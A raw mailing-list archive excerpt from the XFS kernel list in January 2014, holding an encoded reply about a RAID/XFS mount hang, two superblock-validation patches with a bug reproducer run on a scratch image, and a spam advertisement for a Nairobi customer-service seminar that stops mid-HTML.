LWFycmF5KSB3aXRoIFhGUyBpcyBub3QgYXZhaWxhYmxlLjxicj4NCiZndDsgPGJyPg0KJmd0OyBU aGUgbG9ncyByYWlkIGNvbnRyb2xsZXIgYXBwZWFyZWQ6IDIwMTQtMDEtMjQgMDc6MTI6MzQgSC9X IE1vbml0b3IgUmFpZDxicj4NCiZndDsgUG93ZXJlZCBPbjxicj4NCjxicj4NClNvIHNvbWV0aGlu ZyB3ZW50IHdyb25nIHdpdGggdGhlIEhXIFJBSUQsIGFuZCB0aGVuIHlvdSBmb3VuZCBlcnJvcnM8 YnI+DQppbiB0aGUgZmlsZXN5c3RlbT88YnI+DQo8YnI+DQomZ3Q7IFdoZW4gSSByZXN0YXJ0IHRo ZSBzZXJ2ZXIsIEkgZm91bmQgdGhhdCB0aGUgcmFpZCBhcnJheSBpcyBub3QgbW91bnQgb248YnI+ DQomZ3Q7IHRoZSBtb3VudCBwb2ludCAvZGV2L3NkYjEgKGZpbGVzeXN0ZW0gWEZTKS48YnI+DQo8 YnI+DQpJdCBmYWlsZWQgdG8gbW91bnQgd2l0aCB0aGUgc3RhY2sgdHJhY2UgdGhhdCB5b3UgYXR0 YWNoZWQ/IElmIHNvLDxicj4NCnRoZXJlJ3MgYSBjb3JydXB0IGZyZWVzcGFjZSB0cmVlIGluIHRo ZSBmaWxlc3lzdGVtLjxicj4NCjxicj4NCiZndDsgV2hlbiAmbmJzcDtJICZuYnNwO3J1biAmbmJz cDt0aGUgdXRpbGl0eSB4ZnNfcmVwYWlyIC1QIC9kZXYvc2RiMSBpdCBoYW5ncy4gV2hlbiBJIHJ1 bjxicj4NCiZndDsgbW91bnQgJm5ic3A7L2Rldi9zZGIxICZuYnNwO25vdCAmbmJzcDtpc3N1ZWQg Jm5ic3A7YW55ICZuYnNwO2Vycm9ycyBhbmQgYXBwbGljYXRpb24gYWxzbyBoYW5ncy48YnI+DQom Z3Q7IFRhc2sncyBjYW5ub3QgZmluaXNoIGV2ZW4gdGhlIGNvbW1hbmQga2lsbCAtOSAmbHQ7cGlk Jmd0Oy48YnI+DQo8YnI+DQpGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0IHVwZGF0aW5nIHRvIGF0 IGxlYXN0IHZlcnNpb24gMy4xLjExIG9mPGJyPg0KeGZzcHJvZ3MuIElmIGl0IHN0aWxsIGhhbmdz LCB0aGVuIGl0J3MgcXVpdGUgbGlrZWx5IHRoZXJlIHNvbWV0aGluZzxicj4NCnN0aWxsIHdyb25n IHdpdGggeW91ciBIVyBSQUlELjxicj4NCjxicj4NCllvdXIgZmlyc3Qgc3RlcCBpcyB0byBtYWtl IHN1cmUgeW91ciBIVyBSQUlEIGlzIGhlYWx0aHkgYmVmb3JlPGJyPg0KdHJ5aW5nIHRvIHJlcGFp ciBvciBtb3VudCB0aGUgZmlsZXN5c3RlbS4uLi48YnI+DQo8YnI+DQpDaGVlcnMsPGJyPg0KPGJy Pg0KRGF2ZS48YnI+DQotLSA8YnI+DQpEYXZlIENoaW5uZXI8L2ZvbnQ+PC90dD48dHQ+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiPjx1Pjxicj4NCjwvdT48L2ZvbnQ+PC90dD48YSBocmVm PSJtYWlsdG86ZGF2aWRAZnJvbW9yYml0LmNvbSI+PHR0Pjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIj48dT5kYXZpZEBmcm9tb3JiaXQuY29tPC91PjwvZm9udD48L3R0PjwvYT48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jmx0O1JlcG9ydF9SQUlEX3N0YXR1c18yMDE0MDEy OC50eHQmZ3Q7PC9mb250PjwvdWw+DQo8L2JvZHk+PC9odG1sPg== --0__=CBBBF6FCDF84E7C98f9e8a93df938690918cCBBBF6FCDF84E7C9-- From sandeen@redhat.com Tue Jan 28 22:28:15 2014 Return-Path: <sandeen@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 78FEE7F9E for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 22:28:15 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 664DB304066 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 20:28:12 -0800 (PST) X-ASG-Debug-ID: 1390969691-04cb6c750a1b9740001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FUyqw2CRHOdJzgko for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 20:28:11 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0T4SBOK030260 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 23:28:11 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0T4S7ki030642 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 23:28:10 -0500 Message-ID: <52E88357.6090104@redhat.com> Date: Tue, 28 Jan 2014 22:28:07 -0600 From: Eric Sandeen <sandeen@redhat.com> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss <xfs@oss.sgi.com> Subject: [PATCH] xfs: sanitize sb_inopblock in xfs_mount_validate_sb X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: sanitize sb_inopblock in xfs_mount_validate_sb Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390969691 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_mount_validate_sb doesn't check sb_inopblock for sanity (as does its xfs_repair counterpart, FWIW). If it's out of bounds, we can go off the rails in i.e. xfs_inode_buf_verify(), which uses sb_inopblock as a loop limit when stepping through a metadata buffer. The problem can be demonstrated easily by corrupting sb_inopblock with xfs_db and trying to mount the result: # mkfs.xfs -dfile,name=fsfile,size=1g # xfs_db -x fsfile xfs_db> sb 0 xfs_db> write inopblock 512 inopblock = 512 xfs_db> quit # mount -o loop fsfile mnt and we blow up in xfs_inode_buf_verify(). With this patch, we get a (very noisy) corruption error, and fail the mount as we should. Signed-off-by: Eric Sandeen <sandeen@redhat.com> --- diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index b7c9aea..511cce9 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -288,6 +288,7 @@ xfs_mount_validate_sb( sbp->sb_inodelog < XFS_DINODE_MIN_LOG || sbp->sb_inodelog > XFS_DINODE_MAX_LOG || sbp->sb_inodesize != (1 << sbp->sb_inodelog) || + sbp->sb_inopblock != howmany(sbp->sb_blocksize,sbp->sb_inodesize) || (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || From sandeen@redhat.com Tue Jan 28 23:11:48 2014 Return-Path: <sandeen@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DB1D27F9E for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 23:11:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B7FD830406B for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 21:11:45 -0800 (PST) X-ASG-Debug-ID: 1390972301-04cbb05baa1d4d80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2C0zfQxoI0sPr0Od for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 21:11:41 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0T5BfH6018280 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 00:11:41 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0T5Bd3h007676 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 00:11:40 -0500 Message-ID: <52E88D8B.90208@redhat.com> Date: Tue, 28 Jan 2014 23:11:39 -0600 From: Eric Sandeen <sandeen@redhat.com> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss <xfs@oss.sgi.com> Subject: [PATCH] xfs: limit superblock corruption errors to probable corruption X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: limit superblock corruption errors to probable corruption Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390972301 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Today, if xfs_sb_read_verify xfs_sb_verify xfs_mount_validate_sb detects superblock corruption, it'll be extremely noisy, dumping 2 stacks, 2 hexdumps, etc. This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb as well as in xfs_sb_read_verify. Also, *any* errors in xfs_mount_validate_sb which are not corruption per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, rw-incompat etc - things which do not return EFSCORRUPTED - will still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify sees any error at all. And it suggests to the user that they should run xfs_repair, even if the root cause of the mount failure is a simple incompatibility. I'll submit that the probably-not-corrupted errors don't warrant this much noise, so this patch removes the high-level XFS_CORRUPTION_ERROR which was firing for every error return except EWRONGFS. It also adds one to the path which detects a failed checksum. The idea is, if it's really _corruption_ we can call XFS_CORRUPTION_ERROR at the point of detection. More benign incompatibilities can do a little printk & fail the mount without so much drama. Signed-off-by: Eric Sandeen <sandeen@redhat.com> --- I could see an argument where we might still want the hexdump for things like bad magic - ok, just what *was* the magic? But I think we do need to reserve the oops-mimicing-backtraces for the most severe problems. Discuss. ;) diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 511cce9..b575317 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -617,6 +617,8 @@ xfs_sb_read_verify( /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn != XFS_SB_DADDR && xfs_sb_version_hascrc(&mp->m_sb)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, + mp, bp->b_addr); error = EFSCORRUPTED; goto out_error; } @@ -625,12 +627,8 @@ xfs_sb_read_verify( error = xfs_sb_verify(bp, true); out_error: - if (error) { - if (error != EWRONGFS) - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); + if (error) xfs_buf_ioerror(bp, error); - } } /* From simon@mglcoaching.com Wed Jan 29 00:06:41 2014 Return-Path: <simon@mglcoaching.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 69C3F7F9A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 00:06:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4ECCAC004 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 22:06:37 -0800 (PST) X-ASG-Debug-ID: 1390975592-04cbb05bac1d6680001-NocioJ Received: from server1.mglcoaching.com ([162.213.249.156]) by cuda.sgi.com with ESMTP id K5gfFFQ3I9DKntNA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 22:06:33 -0800 (PST) X-Barracuda-Envelope-From: simon@mglcoaching.com X-Barracuda-Apparent-Source-IP: 162.213.249.156 Received: from mglcoach by server1.mglcoaching.com with local (Exim 4.82) (envelope-from <simon@mglcoaching.com>) id 1W8OIC-0000oq-Ay for xfs@oss.sgi.com; Wed, 29 Jan 2014 09:06:32 +0300 To: xfs@oss.sgi.com Subject: Upcoming Workshop - Customer Service for Frontline Staff Date: Wed, 29 Jan 2014 10:06:32 +0400 X-ASG-Orig-Subj: Upcoming Workshop - Customer Service for Frontline Staff From: Marie Ekeno <marie@mglcoaching.com> Reply-To: Marie Ekeno <marie@mglcoaching.com> Message-ID: <ea6df1e7cff60e3af9c6d0cbae9552bc@localhost.localdomain> X-Priority: 3 X-Mailer: PHPMailer 5.2.5 (https://github.com/Synchro/PHPMailer/) X-phpList-version: 3.0.5 X-MessageID: 12 X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: simon@mglcoaching.com List-Help: <http://mglcoaching.com/emarketing/?p=preferences&uid=598a11a1bca01dc5ad9d777002e81865> List-Unsubscribe: <http://mglcoaching.com/emarketing/?p=unsubscribe&uid=598a11a1bca01dc5ad9d777002e81865&jo=1> List-Subscribe: <http://mglcoaching.com/emarketing/?p=subscribe> List-Owner: <mailto:info@mglcoaching.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_ea6df1e7cff60e3af9c6d0cbae9552bc" X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server1.mglcoaching.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [504 32007] / [47 12] X-AntiAbuse: Sender Address Domain - mglcoaching.com X-Get-Message-Sender-Via: server1.mglcoaching.com: authenticated_id: mglcoach/from_h X-Source: /usr/local/bin/php X-Source-Args: /usr/local/bin/php /home/mglcoach/public_html/emarketing/admin/index.php -pprocessqueue -c/home/mglcoach/public_html/emarketing/config/config.php X-Source-Dir: mglcoaching.com:/public_html/emarketing/admin X-Barracuda-Connect: UNKNOWN[162.213.249.156] X-Barracuda-Start-Time: 1390975593 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144593 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 --b1_ea6df1e7cff60e3af9c6d0cbae9552bc Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable "Biggest question: Isn=E2=80=99t it really =E2=80=98customer helping= =E2=80=99 rather than=0Acustomer service? And wouldn=E2=80=99t you deliver = better service if you thought=0Aof it that way?" - Jeffrey Gitomer ------------------------------- Greetings, It=E2=80=99s all about creating an amazing customer experience. And, creati= ng=0Acustomer amazement isn=E2=80=99t hard. It=E2=80=99s something we can a= ll do, and be=0Agood at it. And, not just good, but amazing! Delivering am= azing customer=0Aservice isn=E2=80=99t just for people on the front-line or= in customer-facing=0Ajobs. It=E2=80=99s everybody=E2=80=99s job, from the= CEO to the most recently hired=0Aemployee. Because=E2=80=A6 Customer service isn=E2=80=99t a department; it=E2=80=99s a philosophy. It means adopting the right mindset and having the right attitude about our= =0Acustomers, both internal and external. It=E2=80=99s about everyone, reg= ardless=0Aof their position, being a leader and role model when it comes to= creating=0Aamazing service. Join us on 20th and 21st February 2014 for a seminar on Customer Service=0A= for Frontline Staff.=20 Kind Regards, Marie Ekeno ------------------------------- "I am glad to have been in this seminar where the instructor is friendly,= =0Ainteractive, engaging and listens to everyone. I learnt from her and als= o=0Afrom others in the group. It=E2=80=99s been interesting and I have lear= nt a lot;=0Ato put into practice my role. I would recommend to many." - Kev= in Kori,=0AAdministration =E2=80=93 Internal/External Customer Care, Millwa= rd Brown E.A Ltd ------------------------------- Customer Service for Frontline Staff ------------------------------- Who Should Attend: ------------------------------- Anyone who is a touch point to the customer =E2=80=93 directly or indirectl= y, who=0Awants to improve their working relationship both with external and= internal=0Acustomers. [Customer Service, Finance, Technical Support, Docu= mentation,=0ACredit and Collections, Human Resources, Information Technolog= y, Help Desk,=0AAdministrative, Sales Support] ------------------------------- Seminar Information: ------------------------------- Event Date: 20th & 21st Feb 2014 Duration: 2 Days Time: 8:30AM - 4:30PM Venue: Sarova Stanley Hotel, Nairobi, Kenya. Charges: Ksh. 36,500 + VAT (Ksh. 5,840) =3D 42,340 Per Participant / $500 U= SD Charges Include: Professionals fees, Learning materials, Meals &=0ARefreshm= ents Charges do not Include: Accomodation, dinner and travel ------------------------------- Reserve your spot now, Limited slots available ------------------------------- Key Topics Include Customer Service - What Is It? What is customer service? Service as a competitive weapon Quality from the customers=E2=80=99 perspective Exceeding customer expectations Customer service value Case study of good customer service Communication Skills Face to face communication Telephone manner/etiquette Body language Non-verbal communication Questioning techniques Active listening Handling Difficult People and Situations Types of difficult situations Handling difficult people Complaints management When they want to talk to the manager Letting off steam Separating people from issues Not taking it personally Having the right attitude to complaints Customer Behavioral Styles Personality types Adjusting styles for better communication Motivating factors What annoys each style Stress Management and Self Motivation What causes you stress? Identifying your stress symptoms Stress busters Self motivation - what can I do? Positive attitudes Changing your self-talk ------------------------------- Call Marie or Jane for Reservations on our telephone lines below or pay us= =0Aa visit at our offices. Phone: +254-20-230-8975, Safaricom: +254-718-860-470, Airtel:=0A+254-788-51= 4-041 OR email us on: bookings@maxsmithgroup.com ------------------------------- Get an extra slot absolutely FREE for every three reservations made. Get 5% discount on advance (2 weeks before the event) bookings and=0Apaymen= ts. What others who participated in this seminar had to say: NAME: Richard Owuor Odhiambo ORGANIZATION: Kenya Ports Authority POSITION/RESPONSIBILITY: ICT Support Officer RICHARD'S VIEW: Being an ICT officer whatever I have achieved is of much=0A= importance to me as a person and will make me add more value to our=0Aorgan= ization to enable it achieve its main VISION and MISSION which is to=0Abe = =E2=80=9CA WORLD SEAPORT OF CHOICE BY THE YEAR 2030=E2=80=9D -------------- NAME: Kevin Kori ORGANIZATION: Millward Brown E.A Ltd. POSITION/RESPONSIBILITY: Administration =E2=80=93 Internal/External Custome= r Care KEVIN'S THOUGHTS: I am glad to have been in this seminar where the=0Ainstru= ctor is friendly, interactive, engaging and listens to everyone. I=0Alearnt= from her and also from others in the group. It=E2=80=99s been interesting= =0Aand I have learnt a lot; to put into practice my role. I would recommend= to=0Amany. -------------- NAME: Mourine Magero ORGANIZATION: Express Shipping and Logistics (E.A) Ltd. POSITION/RESPONSIBILITY: Administration Officer WHAT MOURINE FELT: Have learnt a lot and will deliver services. Instructor= =0Awas friendly. She was very welcoming person. To encourage her to do more= to=0Aothers as she did to us. -------------- NAME: Catherine ORGANIZATION: Kenya Ports Authority POSITION/RESPONSIBILITY: ICT Support Officer YOUR TESTIMONY: The course outline was relevant and up to date. It was well= =0Aorganized and hope to have more courses with your organization in future= .=0AThe lecturer was kind and easy to understand (fluent). Job well done! ------------- NAME: Esther Wangeci Muturi ORGANIZATION: Swissport Cargo Services POSITION/RESPONSIBILITY: Accounts Assistant YOUR TESTIMONY: The Customer Service training was very beneficial,=0Aintera= ctive, entertaining, educative .Especially the trainer was very=0Aknowledge= able of what she was teaching. Well done. ------------- NAME: Carole Muema ORGANIZATION: GS1 POSITION/RESPONSIBILITY: Membership and Communication YOUR TESTIMONY: It was very informative and interactive session.Learnt so= =0Amuch about how to handle different issues and people in general. Made a = lot=0Aof friends which indeed expanded my network. -- If you do not want to receive any more newsletters, =0Ahttp://mglcoaching.c= om/emarketing/?p=3Dunsubscribe&uid=3D598a11a1bca01dc5ad9d777002e81865 To update your preferences and to unsubscribe visit=0Ahttp://mglcoaching.co= m/emarketing/?p=3Dpreferences&uid=3D598a11a1bca01dc5ad9d777002e81865 Forward a Message to Someone=0Ahttp://mglcoaching.com/emarketing/?p=3Dforwa= rd&uid=3D598a11a1bca01dc5ad9d777002e81865&mid=3D12 -- powered by phpList, www.phplist.com -- --b1_ea6df1e7cff60e3af9c6d0cbae9552bc Content-Type: multipart/related; boundary="b2_ea6df1e7cff60e3af9c6d0cbae9552bc" --b2_ea6df1e7cff60e3af9c6d0cbae9552bc Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.= w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns=3D"http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8" /> <title>Untitled Document</title> </head> <body> <table width=3D"100%" border=3D"0" cellspacing=3D"0" cellpadding=3D"20"> <tr> <td height=3D"300" align=3D"center" valign=3D"top" bgcolor=3D"#D1DBEF">= <table width=3D"650" border=3D"0" cellspacing=3D"0" cellpadding=3D"0" bgcol= or=3D"#FFFFFF" style=3D"border:3px solid #3d60ac;"> <tr> <td width=3D"600" height=3D"500" align=3D"left" valign=3D"top" bgcolor= =3D"#FFFFFF"><table width=3D"650" border=3D"0" cellspacing=3D"5" cellpaddin= g=3D"0"> <tr> <td width=3D"116" height=3D"75" align=3D"left"><img src=3D"cid:75= c32ed0822a10bb21a8b298d766a6c2" width=3D"110" height=3D"110" /></td> <td width=3D"209" align=3D"right" valign=3D"middle"><span style= =3D"font-family:'Trebuchet MS', Arial, Helvetica, sans-serif; font-weight:b= old; font-size:26px; color:#333; text-align:right;">Maxsmith Group</span><b= r /> <br /> <span style=3D"font-family:'Trebuchet MS', Arial, Helvetica, sans= -serif; font-weight:bold; font-style:italic; font-size:14px; color:#d61f29;= ">Performance Oriented</span></td> <td width=3D"305" align=3D"right"><a href=3D"http://www.facebook.= com/maxsmithgroup" target=3D"_blank"><img src=3D"cid:efdc4764e2adfcdfb57184= 32f768969e" width=3D"50" height=3D"63" /></a> <a href=3D"https://twitter.co= m/MaxsmithGroup" target=3D"_blank"><img src=3D"cid:34791dbb55303aca0cdba665= c8b56a5f" width=3D"50" height=3D"63" /></a> <a href=3D"http://www.maxsmithg= roup.com/blog/feed" target=3D"_blank"><img src=3D"cid:5d005a3fabef3701de62f= 4a7aa383ca7" width=3D"50" height=3D"63" /></a></td> </tr> </table> <table width=3D"650" border=3D"0" cellspacing=3D"0" cellpadding=3D"5"= > <tr> <td width=3D"640" height=3D"30" align=3D"right" bordercolor=3D"#3= d60ac" valign=3D"middle" bgcolor=3D"#3B61AD" style=3D"color:#FFF; font-fami= ly:'Trebuchet MS', Arial, Helvetica, sans-serif; font-size:14px; font-weigh= t:bold; border-top:1px solid #069; border-bottom:1px solid #069;"><a href= =3D"http://www.maxsmithgroup.com/" style=3D"color:#FFF; font-family:'Trebuc= het MS', Arial, Helvetica, sans-serif; font-size:14px; font-weight:bold;">H= ome</a> | <a href=3D"http://www.maxsmithgroup.com/about-us" style=3D"color:= #FFF; font-family:'Trebuchet MS', Arial, Helvetica, sans-serif; font-size:1= 4px; font-weight:bold;">About Us</a> | <a href=3D"http://maxsmithgroup.com/= upcoming-training-events" style=3D"color:#FFF; font-family:'Trebuchet MS', = Arial, Helvetica, sans-serif; font-size:14px; font-weight:bold;">Upcoming E= vents / Training Calendar</a> | <a href=3D"http://www.maxsmithgroup.com/con= tact-us" style=3D"color:#FFF; font-family:'Trebuchet MS', Arial, Helvetica,= sans-serif; font-size:14px; font-weight:bold;">Contact Us</a></td> </tr> </table> <table width=3D"650" border=3D"0" cellspacing=3D"0" cellpadding=3D"5"= > <tr> <td width=3D"640" height=3D"400" align=3D"left" valign=3D"top" st= yle=3D"color:#000; font-family:'Trebuchet MS', Arial, Helvetica, sans-serif= ; font-size:13px;"><p style=3D"text-align: center;"><span style=3D"color: r= gb(0, 0, 128);"><strong><em>&quot;Biggest question: Isn&rsquo;t it really &= lsquo;customer helping&rsquo; rather than customer service? And wouldn&rsqu= o;t you deliver better service if you thought of it that way?&quot;</em></s= trong>&nbsp;</span>- <strong>Jeffrey Gitomer</strong></p> <hr /> <p style=3D"text-align: left;">Greetings,</p> <p style=3D"text-align: justify;">It&rsquo;s all about creating an amazing = customer experience. And, creating customer amazement isn&rsquo;t hard. It&= rsquo;s something we can all do, and be good at it. And, not just good, but= amazing! &nbsp;Delivering amazing customer service isn&rsquo;t just for pe= ople on the front-line or in customer-facing jobs. &nbsp;It&rsquo;s everybo= dy&rsquo;s job, from the CEO to the most recently hired employee. &nbsp;Bec= ause&hellip;</p> <p><span style=3D"font-size: larger;"><strong>Customer service isn&rsquo;t = a department; it&rsquo;s a philosophy</strong></span>.</p> <p style=3D"text-align: justify;">It means adopting the right mindset and h= aving the right attitude about our customers, both internal and external. &= nbsp;It&rsquo;s about everyone, regardless of their position, being a leade= r and role model when it comes to creating amazing service.</p> <p><strong><span style=3D"font-size: larger;"><span style=3D"color: rgb(255= , 0, 0);">Join us on 20th and 21st February 2014 for a seminar on Customer = Service for Frontline Staff.&nbsp;</span></span></strong></p> <p><strong>Kind Regards, Marie Ekeno</strong></p> <hr /> <p><em>&quot;I am glad to have been in this seminar where the instructor is= friendly, interactive, engaging and listens to everyone. I learnt from her= and also from others in the group. It&rsquo;s been interesting and I have = learnt a lot; to put into practice my role. I would recommend to many.&quot= ;</em> - <strong>Kevin Kori, Administration &ndash; Internal/External Custo= mer Care, Millward Brown E.A Ltd</strong></p> <hr /> <p><strong>Read on for details below</strong> &lt;///&gt;&nbsp;<a href=3D"h= ttp://maxsmithgroup.com/customer-service-frontline-staff"><span style=3D"co= lor: rgb(255, 0, 0);"><strong>View details on our website</strong></span></= a>&nbsp;&lt;///&gt;&nbsp;<strong><span style=3D"color: rgb(255, 0, 0);"><a = href=3D"http://maxsmithgroup.com/sites/default/files/Customer_Service_for_F= rontline_Staff_Feb2014.pdf"><span style=3D"color: rgb(255, 0, 0);">Download= course details (PDF)</span></a></span></strong></p> <hr /> <h2><span style=3D"color: rgb(0, 0, 128);">Customer Service for Frontline S= taff</span></h2> <h3><span style=3D"color: rgb(255, 0, 0);">Who Should Attend:</span></h3> <p>Anyone who is a touch point to the customer &ndash; directly or indirect= ly, who wants to improve their working relationship both with external and = internal customers.&nbsp; [Customer Service, Finance, Technical Support, Do= cumentation, Credit and Collections, Human Resources, Information Technolog= y, Help Desk, Administrative, Sales Support]</p> <h3><span style=3D"color: rgb(255, 0, 0);">Seminar Information:</span></h3> <p><u><strong>Event Date: </strong></u>20th &amp; 21st Feb 2014<br /> <u><strong>Duration: </strong></u>2 Days<br /> <u><strong>Time: </strong></u>8:30AM - 4:30PM<br /> <u><strong>Venue: </strong></u>Sarova Stanley Hotel, Nairobi, Kenya.<br /> <u><strong>Charges: </strong></u>Ksh. 36,500 + VAT (Ksh. 5,840) =3D 42,340 = Per Participant / $500 USD<br /> <u><strong>Charges Include: </strong></u>Professionals fees, Learning mater= ials, Meals &amp; Refreshments<br /> <u><strong>Charges do not Include: </strong></u>Accomodation, dinner and tr= avel</p> <h3><a href=3D"http://maxsmithgroup.com/bookings-form?course=3DCustomer%20S= ervice%20for%20Frontline%20Staff"><span style=3D"color: rgb(255, 102, 0);">= Reserve your spot now, Limited slots available</span></a></h3> <h3><span style=3D"color: 